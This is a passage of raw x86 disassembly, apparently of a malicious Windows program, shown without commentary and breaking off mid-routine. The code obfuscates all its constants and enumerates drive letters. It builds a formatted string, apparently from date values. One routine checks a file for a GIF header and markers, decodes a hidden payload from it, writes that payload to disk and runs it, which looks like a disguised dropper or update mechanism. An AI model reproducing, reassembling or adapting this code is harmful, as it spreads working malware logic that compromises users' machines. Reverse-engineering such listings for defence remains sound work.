loc_443B62: ; CODE XREF: sub_443AFA+5Dj
mov edx, [ebp+var_4]
mov [ebx+edi*2], dx
inc edi
loc_443B6A: ; CODE XREF: sub_443AFA+24j
movsx eax, word_54F1A4
add eax, 1Ah
cmp edi, eax
jb short loc_443B20
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_443AFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_443B7F proc near ; DATA XREF: sub_444ED7:loc_445202o
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, 43h
jmp short loc_443BA4
; ---------------------------------------------------------------------------
loc_443B8F: ; CODE XREF: sub_443B7F+28j
mov ebx, dword_54F0E8
add ebx, dword_54F1DC
dec ebx
mov ds:dword_54DB20[esi*4], ebx
inc esi
loc_443BA4: ; CODE XREF: sub_443B7F+Ej
cmp esi, 5Ah
jbe short loc_443B8F
loc_443BA9: ; CODE XREF: sub_443B7F+1F0j
mov edi, 43h
jmp loc_443D56
; ---------------------------------------------------------------------------
loc_443BB3: ; CODE XREF: sub_443B7F+1DAj
push offset byte_54F5A3
call sub_43AAF7
push edi
push eax
lea ebx, [ebp+var_E]
push ebx
call ds:dword_50C928
mov eax, dword_54F100
add eax, dword_54F1BC
sub eax, 0Fh
push eax
call ds:dword_50C924
add esp, 14h
mov ebx, dword_54F22C
sub ebx, 7
cmp ds:dword_54DB20[edi*4], ebx
jz short loc_443C38
movsx eax, word_54F118
sub eax, 8
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
push eax
push ds:dword_54DB20[edi*4]
call ds:dword_54C94C
cmp [ebp+var_14], 103h
jz short loc_443C38
push ds:dword_54DB20[edi*4]
call ds:dword_4CB948
movsx ebx, word_54F128
sub ebx, 5
mov ds:dword_54DB20[edi*4], ebx
loc_443C38: ; CODE XREF: sub_443B7F+72j
; sub_443B7F+99j
lea eax, [ebp+var_E]
push eax
call ds:dword_54C964
mov [ebp+var_4], eax
cmp eax, 3
jz short loc_443C8C
cmp eax, 4
jz short loc_443C8C
cmp eax, 2
jz short loc_443C8C
mov ebx, dword_54F24C
add ebx, dword_54F0E0
sub ebx, 0Fh
cmp ds:dword_54DB20[edi*4], ebx
jz loc_443D55
movsx ebx, word_54F0C4
add ebx, dword_54F1B0
sub ebx, 0Dh
mov ds:dword_4495E0[edi*4], ebx
jmp loc_443D55
; ---------------------------------------------------------------------------
loc_443C8C: ; CODE XREF: sub_443B7F+C9j
; sub_443B7F+CEj ...
push 1
call ds:dword_447FC0
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_E]
push eax
call ds:dword_449088
mov ebx, dword_54F1EC
sub ebx, 3
cmp eax, ebx
jnz short loc_443CE9
mov ebx, dword_54F134
sub ebx, 2
cmp ds:dword_54DB20[edi*4], ebx
jz loc_443D55
mov ebx, dword_54F15C
add ebx, dword_54F120
sub ebx, 0Ch
mov ds:dword_4495E0[edi*4], ebx
jmp short loc_443D55
; ---------------------------------------------------------------------------
loc_443CE9: ; CODE XREF: sub_443B7F+13Aj
mov ebx, dword_54F0BC
movsx edx, word_54F0F8
add ebx, edx
sub ebx, 5
cmp ds:dword_54DB20[edi*4], ebx
jnz short loc_443D55
mov ds:dword_4495E0[edi*4], edi
lea eax, [ebp+var_28]
push eax
mov eax, dword_54F0BC
movsx edx, word_54F190
add eax, edx
sub eax, 8
push eax
lea ebx, ds:4495E0h[edi*4]
push ebx
push offset sub_43BE1F
mov ebx, dword_54F100
add ebx, dword_54F0E8
sub ebx, 0Ah
push ebx
mov ebx, dword_54F10C
sub ebx, 2
push ebx
call ds:dword_54DF20
mov ds:dword_54DB20[edi*4], eax
loc_443D55: ; CODE XREF: sub_443B7F+EBj
; sub_443B7F+108j ...
inc edi
loc_443D56: ; CODE XREF: sub_443B7F+2Fj
cmp edi, 5Ah
jbe loc_443BB3
mov eax, dword_54F1B0
sub eax, 7
push eax
call ds:dword_50C924
pop ecx
jmp loc_443BA9
sub_443B7F endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443D7B proc near ; CODE XREF: sub_443885+50p
; sub_443885+65p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_54F278
call ds:dword_4491AC
mov edi, eax
pop edi
pop ebp
retn
sub_443D7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443D93 proc near ; DATA XREF: .data:off_54F2ECo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_550A98
push esi
call ds:dword_50C93C
or eax, eax
jz short loc_443DBF
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_443E14
; ---------------------------------------------------------------------------
loc_443DBF: ; CODE XREF: sub_443D93+1Aj
push offset dword_550A18
push esi
call ds:dword_50C93C
or eax, eax
jz short loc_443DDF
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_443E14
; ---------------------------------------------------------------------------
loc_443DDF: ; CODE XREF: sub_443D93+3Aj
push offset dword_5509D8
push esi
call ds:dword_50C93C
or eax, eax
jz short loc_443DFF
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_443E14
; ---------------------------------------------------------------------------
loc_443DFF: ; CODE XREF: sub_443D93+5Aj
mov eax, dword_54F20C
add eax, dword_54F098
sub eax, 0Dh
mov [edi], eax
mov eax, 80004002h
loc_443E14: ; CODE XREF: sub_443D93+2Aj
; sub_443D93+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_443D93 endp
; =============== S U B R O U T I N E =======================================
sub_443E1B proc near ; CODE XREF: sub_444ED7+20p
push edi
push offset byte_54F595
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F270, eax
movsx eax, word_54F0A8
cmp dword_54F270, eax
jnz short loc_443E59
push offset byte_54F587
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F270, eax
loc_443E59: ; CODE XREF: sub_443E1B+25j
mov eax, dword_54F100
add eax, dword_54F1A0
sub eax, 11h
cmp dword_54F270, eax
jz short loc_443E8B
movsx eax, word_54F164
add eax, 4
push eax
push dword_54F270
call ds:dword_4491AC
mov ds:dword_446024, eax
loc_443E8B: ; CODE XREF: sub_443E1B+52j
pop edi
retn
sub_443E1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443E8D proc near ; CODE XREF: sub_43D090+1AAp
; sub_441843+279p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
inc esi
mov edi, dword_54F23C
add edi, 1Fh
mov eax, esi
test eax, eax
jge short loc_443EAE
add eax, 0FFh
loc_443EAE: ; CODE XREF: sub_443E8D+1Aj
sar eax, 8
mov ebx, dword_54F0C0
add ebx, 7
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_8], edi
mov edi, dword_54F134
add edi, 13h
mov eax, esi
test eax, eax
jge short loc_443ED8
add eax, 0FFh
loc_443ED8: ; CODE XREF: sub_443E8D+44j
sar eax, 8
movsx ebx, word_54F0F4
add ebx, 0Fh
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_C], edi
mov edi, dword_54F1F4
add edi, 18h
mov eax, esi
test eax, eax
jge short loc_443F03
add eax, 0FFFFh
loc_443F03: ; CODE XREF: sub_443E8D+6Fj
sar eax, 10h
movsx ebx, word_54F144
mov ecx, dword_54F180
lea ebx, [ebx+ecx+13h]
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_10], edi
mov eax, esi
and eax, 0FFh
push eax
call sub_443A22
mov ebx, eax
mov [ebp+var_11], bl
mov eax, esi
mul [ebp+var_10]
mov [ebp+var_1C], eax
and eax, 0FFh
push eax
call sub_443A22
mov ebx, eax
mov [ebp+var_12], bl
mov eax, esi
mul [ebp+var_8]
mov [ebp+var_20], eax
and eax, 0FFh
push eax
call sub_443A22
mov ebx, eax
mov [ebp+var_1], bl
mov eax, dword_54F0C8
add eax, 70h
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43B23C
mov ebx, eax
mov [ebp+var_13], bl
movsx eax, word_54F210
mov edx, dword_54F124
lea eax, [eax+edx+5]
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43B23C
mov ebx, eax
mov [ebp+var_14], bl
mov eax, dword_54F168
add eax, 2Dh
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43B23C
mov ebx, eax
mov [ebp+var_15], bl
mov eax, esi
mul [ebp+var_C]
mov [ebp+var_24], eax
and eax, 0FFh
push eax
call sub_443A22
mov ebx, eax
mov [ebp+var_16], bl
mov eax, dword_54F0C8
add eax, 42h
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_443A22
mov ebx, eax
mov [ebp+var_17], bl
mov eax, dword_54F204
add eax, 45h
movsx edx, word_54F094
add eax, edx
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43B23C
add esp, 24h
mov ebx, eax
mov [ebp+var_18], bl
movzx edi, [ebp+var_1]
mov eax, edi
shr eax, 1
movsx esi, word_54F0D0
add esi, dword_54F174
sub esi, 0Bh
mul esi
mov [ebp+var_28], eax
mov esi, eax
cmp esi, edi
jnz short loc_444094
push offset byte_54F56D
call sub_43AAF7
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call ds:dword_50C928
add esp, 30h
jmp short loc_4440D8
; ---------------------------------------------------------------------------
loc_444094: ; CODE XREF: sub_443E8D+1BFj
push offset word_54F552
call sub_43AAF7
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call ds:dword_50C928
add esp, 30h
loc_4440D8: ; CODE XREF: sub_443E8D+205j
pop edi
pop esi
pop ebx
leave
retn
sub_443E8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4440DD proc near ; CODE XREF: sub_440408+64p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
push [ebp+arg_0]
call ds:dword_48A218
mov ebx, eax
mov eax, dword_54F0EC
dec eax
cmp ebx, eax
jz loc_44424B
push offset byte_54F54D
call sub_43AAF7
push eax
push ebx
call ds:dword_4491AC
mov ds:dword_446008, eax
push offset dword_54F548
call sub_43AAF7
add esp, 8
push eax
push ebx
call ds:dword_4491AC
mov ds:dword_447004, eax
mov eax, dword_54F090
sub eax, 4
cmp ds:dword_447004, eax
jz loc_44424B
mov eax, dword_54F0A4
sub eax, 7
cmp ds:dword_446008, eax
jz loc_44424B
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call ds:dword_447004
mov edi, eax
mov eax, dword_54F200
add eax, dword_54F1F8
sub eax, 2
cmp eax, edi
jnb short loc_444185
push ebx
call ds:dword_54DB1C
jmp loc_44424B
; ---------------------------------------------------------------------------
loc_444185: ; CODE XREF: sub_4440DD+9Aj
mov esi, dword_54F114
add esi, 0FFFFFFFEh
mov eax, dword_54F1A0
mov edi, eax
add edi, dword_54F184
sub edi, 0Ch
jmp short loc_4441CD
; ---------------------------------------------------------------------------
loc_4441A0: ; CODE XREF: sub_4440DD+F6j
mov edx, [ebp+var_8]
cmp ds:dword_48A220[edi*4], edx
jnz short loc_4441CC
mov esi, edi
mov edx, [ebp+var_4]
cmp ds:dword_4CC920[edi*4], edx
jb short loc_4441CC
push ebx
call ds:dword_54DB1C
push [ebp+arg_0]
call ds:dword_44600C
jmp short loc_44424B
; ---------------------------------------------------------------------------
loc_4441CC: ; CODE XREF: sub_4440DD+CDj
; sub_4440DD+DBj
inc edi
loc_4441CD: ; CODE XREF: sub_4440DD+C1j
cmp edi, dword_54F2A4
jb short loc_4441A0
mov eax, dword_54F214
add eax, 0FFFFFFFCh
movsx edx, word_54F0A8
add eax, edx
cmp esi, eax
jz short loc_444217
push ds:dword_50C950[esi*4]
call ds:dword_54DB1C
mov edi, [ebp+var_4]
mov ds:dword_4CC920[esi*4], edi
mov edi, ds:dword_446008
mov ds:dword_4499E0[esi*4], edi
mov ds:dword_50C950[esi*4], ebx
jmp short loc_44424B
; ---------------------------------------------------------------------------
loc_444217: ; CODE XREF: sub_4440DD+10Bj
mov edi, dword_54F2A4
mov edx, [ebp+var_8]
mov ds:dword_48A220[edi*4], edx
mov ds:dword_50C950[edi*4], ebx
mov ebx, ds:dword_446008
mov ds:dword_4499E0[edi*4], ebx
mov ebx, [ebp+var_4]
mov ds:dword_4CC920[edi*4], ebx
inc dword_54F2A4
loc_44424B: ; CODE XREF: sub_4440DD+1Bj
; sub_4440DD+60j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4440DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444250 proc near ; CODE XREF: sub_43DB03+232p
; sub_43DB03+244p
var_61EA3 = byte ptr -61EA3h
var_61DA8 = dword ptr -61DA8h
var_61DA4 = dword ptr -61DA4h
var_61D9E = byte ptr -61D9Eh
var_61D9D = byte ptr -61D9Dh
var_61C9E = byte ptr -61C9Eh
var_61C9D = byte ptr -61C9Dh
var_61C9C = dword ptr -61C9Ch
var_61C98 = byte ptr -61C98h
var_30F58 = dword ptr -30F58h
var_30F54 = byte ptr -30F54h
var_30E50 = dword ptr -30E50h
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30E3E = byte ptr -30E3Eh
var_30E3D = byte ptr -30E3Dh
var_30E3C = byte ptr -30E3Ch
var_30E3B = byte ptr -30E3Bh
var_30E3A = byte ptr -30E3Ah
var_30E15 = byte ptr -30E15h
var_30E14 = byte ptr -30E14h
var_30DC5 = byte ptr -30DC5h
var_30DBE = byte ptr -30DBEh
var_30DBD = byte ptr -30DBDh
var_30DBC = byte ptr -30DBCh
var_30D4E = byte ptr -30D4Eh
var_30D4A = byte ptr -30D4Ah
var_30D40 = byte ptr -30D40h
var_30D3F = byte ptr -30D3Fh
var_30D3D = byte ptr -30D3Dh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 61EA4h
call sub_4455B4
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov eax, dword_54F180
movsx edx, word_54F118
add eax, edx
sub eax, 8
push eax
mov eax, dword_54F114
dec eax
push eax
push 3
mov eax, dword_54F0C8
dec eax
push eax
mov eax, dword_54F0E0
sub eax, 6
push eax
push 80000000h
push [ebp+arg_0]
call ds:dword_54DB18
mov [ebp+var_30E48], eax
and [ebp+var_30F58], 0
and [ebp+var_30E50], 0
cmp eax, 0FFFFFFFFh
jz loc_4447ED
mov eax, dword_54F0D4
add eax, dword_54F1EC
sub eax, 8
push eax
lea eax, [ebp+var_30E4C]
push eax
mov eax, dword_54F174
add eax, 7Ch
add eax, dword_54F0EC
push eax
lea eax, [ebp+var_30E3F]
push eax
push [ebp+var_30E48]
call ds:dword_446034
mov [ebp+var_30E44], eax
mov eax, dword_54F0B0
movsx edx, word_54F104
add eax, edx
sub eax, 5
cmp [ebp+var_30E44], eax
jz loc_4447CF
cmp [ebp+var_30E3C], 38h
jnz short loc_44432F
cmp [ebp+var_30E3B], 39h
jnz short loc_44432F
cmp [ebp+var_30E3A], 61h
jz short loc_444334
loc_44432F: ; CODE XREF: sub_444250+CBj
; sub_444250+D4j
jmp loc_4447CF
; ---------------------------------------------------------------------------
loc_444334: ; CODE XREF: sub_444250+DDj
cmp [ebp+var_30E3F], 47h
jnz short loc_44434F
cmp [ebp+var_30E3E], 49h
jnz short loc_44434F
cmp [ebp+var_30E3D], 46h
jz short loc_444354
loc_44434F: ; CODE XREF: sub_444250+EBj
; sub_444250+F4j
jmp loc_4447CF
; ---------------------------------------------------------------------------
loc_444354: ; CODE XREF: sub_444250+FDj
movzx eax, [ebp+var_30E15]
mov edx, dword_54F1E4
add edx, 37h
cmp eax, edx
jnz short loc_44437A
cmp [ebp+var_30DBE], 3Dh
jnz short loc_44437A
cmp [ebp+var_30DBD], 3Dh
jz short loc_44437F
loc_44437A: ; CODE XREF: sub_444250+116j
; sub_444250+11Fj
jmp loc_4447CF
; ---------------------------------------------------------------------------
loc_44437F: ; CODE XREF: sub_444250+128j
or ebx, ebx
jnz short loc_4443C9
call sub_43BB30
mov edx, eax
mov [ebp+var_61C9E], dl
mov al, [ebp+var_30DBC]
mov [ebp+var_61C9D], al
mov eax, dword_54F0BC
cmp [ebp+eax+var_30DBC], 40h
jnz short loc_4443B7
mov [ebp+var_30E50], 1
jmp short loc_4443C9
; ---------------------------------------------------------------------------
loc_4443B7: ; CODE XREF: sub_444250+159j
mov al, [ebp+var_61C9E]
cmp al, [ebp+var_61C9D]
jz loc_4447CF
loc_4443C9: ; CODE XREF: sub_444250+131j
; sub_444250+165j
mov eax, dword_54F0D8
sub eax, 6
push eax
lea eax, [ebp+var_30E4C]
push eax
push 30D40h
lea eax, [ebp+var_61C98]
push eax
push [ebp+var_30E48]
call ds:dword_446034
mov [ebp+var_30E44], eax
mov eax, dword_54F0B0
sub eax, 5
cmp [ebp+var_30E44], eax
jz loc_4447CF
mov eax, [ebp+var_30E4C]
mov edx, dword_54F100
sub edx, 9
mov [ebp+eax+var_61C98], dl
push 30D40h
lea eax, [ebp+var_30D40]
push eax
lea eax, [ebp+var_61C98]
push eax
call sub_444AA8
add esp, 0Ch
mov esi, eax
movsx edi, word_54F0CC
dec edi
jmp short loc_44448D
; ---------------------------------------------------------------------------
loc_444448: ; CODE XREF: sub_444250+23Fj
or ebx, ebx
jz short loc_44445F
movzx eax, [ebp+edi+var_30D40]
sub eax, edi
mov [ebp+edi+var_30D40], al
jmp short loc_44448C
; ---------------------------------------------------------------------------
loc_44445F: ; CODE XREF: sub_444250+1FAj
movzx eax, [ebp+edi+var_30D40]
mov [ebp+var_61DA4], eax
mov eax, edi
mul edi
mov [ebp+var_61DA8], eax
mov eax, [ebp+var_61DA4]
mov edx, [ebp+var_61DA8]
sub eax, edx
mov [ebp+edi+var_30D40], al
loc_44448C: ; CODE XREF: sub_444250+20Dj
inc edi
loc_44448D: ; CODE XREF: sub_444250+1F6j
cmp edi, esi
jb short loc_444448
or ebx, ebx
jz short loc_4444B8
movsx eax, word_54F0D0
sub eax, 5
mov edx, esi
sub edx, eax
mov eax, dword_54F124
add eax, dword_54F188
sub eax, 7
mov [ebp+edx+var_30D40], al
loc_4444B8: ; CODE XREF: sub_444250+243j
mov eax, dword_54F110
mov edx, dword_54F168
add edx, dword_54F178
sub edx, 0Bh
mov [ebp+eax+var_30DC5], dl
push 0FFh
lea eax, [ebp+var_61D9D]
push eax
lea eax, [ebp+var_30E14]
push eax
call sub_444AA8
lea eax, [ebp+var_61D9D]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
call sub_43B3AD
add esp, 18h
mov [ebp+var_30E44], eax
mov eax, dword_54F1C8
movsx edx, word_54F198
add eax, edx
sub eax, 9
cmp [ebp+var_30E44], eax
jnz loc_4447CF
mov [ebp+var_30F58], 1
or ebx, ebx
jz loc_444677
mov eax, dword_54F1D0
add eax, dword_54F1F8
cmp [ebp+eax+var_30D4A], 64h
jnz loc_4445E5
movzx eax, [ebp+var_30D3F]
movsx edx, word_54F164
add edx, 1Fh
sub eax, edx
mov [ebp+var_61D9E], al
movzx eax, [ebp+var_61D9E]
push eax
mov eax, dword_54F0B0
add eax, dword_54F204
sub eax, 7
push eax
call sub_43D090
mov eax, dword_54F234
movsx edx, word_54F1A4
add eax, edx
sub eax, 0Eh
mov ds:dword_4495D0, eax
mov eax, dword_54F1FC
mov dword_54F2A0, eax
mov eax, dword_54F1D0
add eax, dword_54F110
movsx edx, word_54F210
add edx, dword_54F17C
sub edx, 0Ch
mov [ebp+eax+var_30D4E], dl
mov eax, dword_54F1AC
add eax, dword_54F150
sub eax, 5
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_444D68
add esp, 10h
loc_4445E5: ; CODE XREF: sub_444250+2FAj
mov eax, dword_54F0BC
cmp [ebp+eax+var_30D40], 67h
jnz loc_4447CF
mov eax, dword_54F0A4
mov edx, dword_54F1EC
movsx ecx, word_54F0A8
add edx, ecx
sub edx, 3
mov [ebp+eax+var_30D3D], dl
lea eax, [ebp+var_30D3F]
push eax
call ds:dword_44701C
mov [ebp+var_61DA4], eax
push eax
push offset dword_54C970
call sub_443E8D
mov eax, dword_54F1D4
add eax, dword_54F1EC
sub eax, 0Bh
mov ds:dword_4495D0, eax
mov eax, dword_54F0A0
add eax, dword_54F1C8
sub eax, 0Bh
mov dword_54F2A0, eax
mov eax, dword_54F120
sub eax, 7
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_444D68
add esp, 14h
jmp loc_4447CF
; ---------------------------------------------------------------------------
loc_444677: ; CODE XREF: sub_444250+2E1j
cmp [ebp+var_30E50], 0
jz short loc_4446F7
call ds:dword_54CA70
mov [ebp+var_61DA4], eax
push offset asc_54F539 ; "\v"
call sub_43AAF7
push [ebp+var_61DA4]
mov edx, dword_54F0A4
dec edx
push edx
push eax
lea edx, [ebp+var_61EA3]
push edx
call ds:dword_50C928
lea eax, [ebp+var_30F54]
push eax
movsx eax, word_54F094
sub eax, 2
push eax
mov eax, dword_54F214
sub eax, 3
push eax
push 1Ch
movsx eax, word_54F194
dec eax
push eax
call ds:dword_489A00
lea eax, [ebp+var_61EA3]
push eax
lea eax, [ebp+var_30F54]
push eax
call ds:dword_44602C
add esp, 1Ch
jmp short loc_444725
; ---------------------------------------------------------------------------
loc_4446F7: ; CODE XREF: sub_444250+42Ej
mov eax, dword_54F120
dec eax
push eax
lea eax, [ebp+var_30F54]
push eax
call sub_43CDF9
push offset byte_54F531
call sub_43AAF7
push eax
lea edx, [ebp+var_30F54]
push edx
call ds:dword_44602C
add esp, 14h
loc_444725: ; CODE XREF: sub_444250+4A5j
mov eax, dword_54F120
sub eax, 8
push eax
push 80h
push 2
movsx eax, word_54F09C
add eax, dword_54F1AC
sub eax, 8
push eax
movsx eax, word_54F1CC
sub eax, 9
push eax
push 40000000h
lea eax, [ebp+var_30F54]
push eax
call ds:dword_54DB18
mov [ebp+var_61C9C], eax
mov eax, dword_54F22C
movsx edx, word_54F240
add eax, edx
sub eax, 0Fh
push eax
lea eax, [ebp+var_30E4C]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
push [ebp+var_61C9C]
call ds:dword_54DF1C
push [ebp+var_61C9C]
call ds:dword_4CB948
cmp [ebp+var_30E50], 0
jnz short loc_4447CA
push 5
lea eax, [ebp+var_30F54]
push eax
call ds:dword_449094
movzx eax, [ebp+var_61C9D]
push eax
call sub_43BD8A
pop ecx
jmp short loc_4447CF
; ---------------------------------------------------------------------------
loc_4447CA: ; CODE XREF: sub_444250+559j
call sub_43C501
loc_4447CF: ; CODE XREF: sub_444250+BEj
; sub_444250:loc_44432Fj ...
push [ebp+var_30E48]
call ds:dword_4CB948
cmp [ebp+var_30F58], 0
jz short loc_4447ED
push [ebp+arg_0]
call ds:dword_44600C
loc_4447ED: ; CODE XREF: sub_444250+63j
; sub_444250+592j
pop edi
pop esi
pop ebx
leave
retn
sub_444250 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4447F2 proc near ; DATA XREF: sub_441843+190o
push ebp
mov ebp, esp
loc_4447F5: ; CODE XREF: sub_4447F2+41j
movsx eax, word_54F208
movsx edx, word_54F1CC
add eax, edx
sub eax, 0Ah
push eax
call ds:dword_50C924
pop ecx
mov eax, dword_54F14C
add eax, dword_54F100
sub eax, 0Bh
push eax
push offset sub_43BA83
mov eax, dword_54F0A4
sub eax, 7
push eax
call ds:dword_447010
jmp short loc_4447F5
sub_4447F2 endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444839 proc near ; CODE XREF: sub_444ED7+33Fp
var_10034 = byte ptr -10034h
var_10030 = dword ptr -10030h
var_1002B = byte ptr -1002Bh
var_2C = byte ptr -2Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 10030h
call sub_4455B4
push ebx
push esi
push edi
movsx eax, word_54F1C4
sub eax, 8
cmp ds:dword_447FC4, eax
jz loc_444AA3
mov eax, dword_54F140
add eax, dword_54F100
sub eax, 0Ah
push eax
push dword_54F180
mov eax, dword_54F174
sub eax, 7
push eax
lea eax, [ebp+var_4]
push eax
call ds:dword_447FC4
mov ebx, eax
mov eax, dword_54F20C
movsx edx, word_54F094
add eax, edx
sub eax, 6
cmp ebx, eax
jnz loc_444AA3
lea eax, [ebp+var_18]
push eax
movsx eax, word_54F198
add eax, dword_54F1EC
sub eax, 4
push eax
mov eax, dword_54F100
sub eax, 9
push eax
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
movsx eax, word_54F144
movsx edx, word_54F0B4
add eax, edx
sub eax, 9
cmp ebx, eax
jnz loc_444A8F
loc_4448E6: ; CODE XREF: sub_444839+128j
; sub_444839+15Ej
movsx eax, word_54F0C4
sub eax, 6
push eax
lea eax, [ebp+var_14]
push eax
movsx eax, word_54F0F8
sub eax, 4
push eax
mov eax, [ebp+var_18]
push eax
mov edi, [eax]
call dword ptr [edi+0Ch]
mov ebx, eax
mov eax, dword_54F0C0
movsx edx, word_54F1F0
add eax, edx
sub eax, 8
cmp ebx, eax
jnz loc_444A57
lea eax, [ebp+var_1C]
push eax
movsx eax, word_54F1A4
sub eax, 6
push eax
lea eax, [ebp+var_14]
push eax
mov eax, dword_54F1C8
add eax, dword_54F204
sub eax, 0Ah
push eax
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr [edi+3Ch]
mov ebx, eax
mov eax, dword_54F1F8
add eax, dword_54F0DC
sub eax, 7
cmp ebx, eax
jnz short loc_4448E6
loc_444963: ; CODE XREF: sub_444839+219j
mov eax, dword_54F110
sub eax, 9
push eax
lea eax, [ebp+var_2C]
push eax
mov eax, dword_54F120
movsx edx, word_54F0A8
add eax, edx
sub eax, 7
push eax
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr [edi+0Ch]
mov ebx, eax
mov eax, dword_54F228
sub eax, 8
cmp ebx, eax
jnz loc_4448E6
mov eax, dword_54F1DC
movsx edx, word_54F198
add eax, edx
dec eax
push eax
lea eax, [ebp+var_10030]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_14]
push eax
mov eax, dword_54F1F4
sub eax, 9
push eax
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr [edi+28h]
mov ebx, eax
movsx eax, word_54F208
add eax, dword_54F234
mov edx, dword_54F0E8
movsx ecx, word_54F128
add edx, ecx
sub edx, 6
mov [ebp+eax+var_10034], dl
movsx eax, word_54F1A4
add eax, dword_54F150
sub eax, 0Ah
cmp ebx, eax
jnz short loc_444A22
lea eax, [ebp+var_1002B]
push eax
mov eax, [ebp+var_10030]
push dword ptr [eax+4]
call sub_43BBFE
add esp, 8
loc_444A22: ; CODE XREF: sub_444839+1CFj
lea eax, [ebp+var_1002B]
push eax
lea esi, [ebp+var_2C]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_14]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
push [ebp+var_4]
call sub_43E364
add esp, 28h
jmp loc_444963
; ---------------------------------------------------------------------------
loc_444A57: ; CODE XREF: sub_444839+E5j
mov eax, dword_54F114
add eax, dword_54F0AC
sub eax, 8
cmp [ebp+var_1C], eax
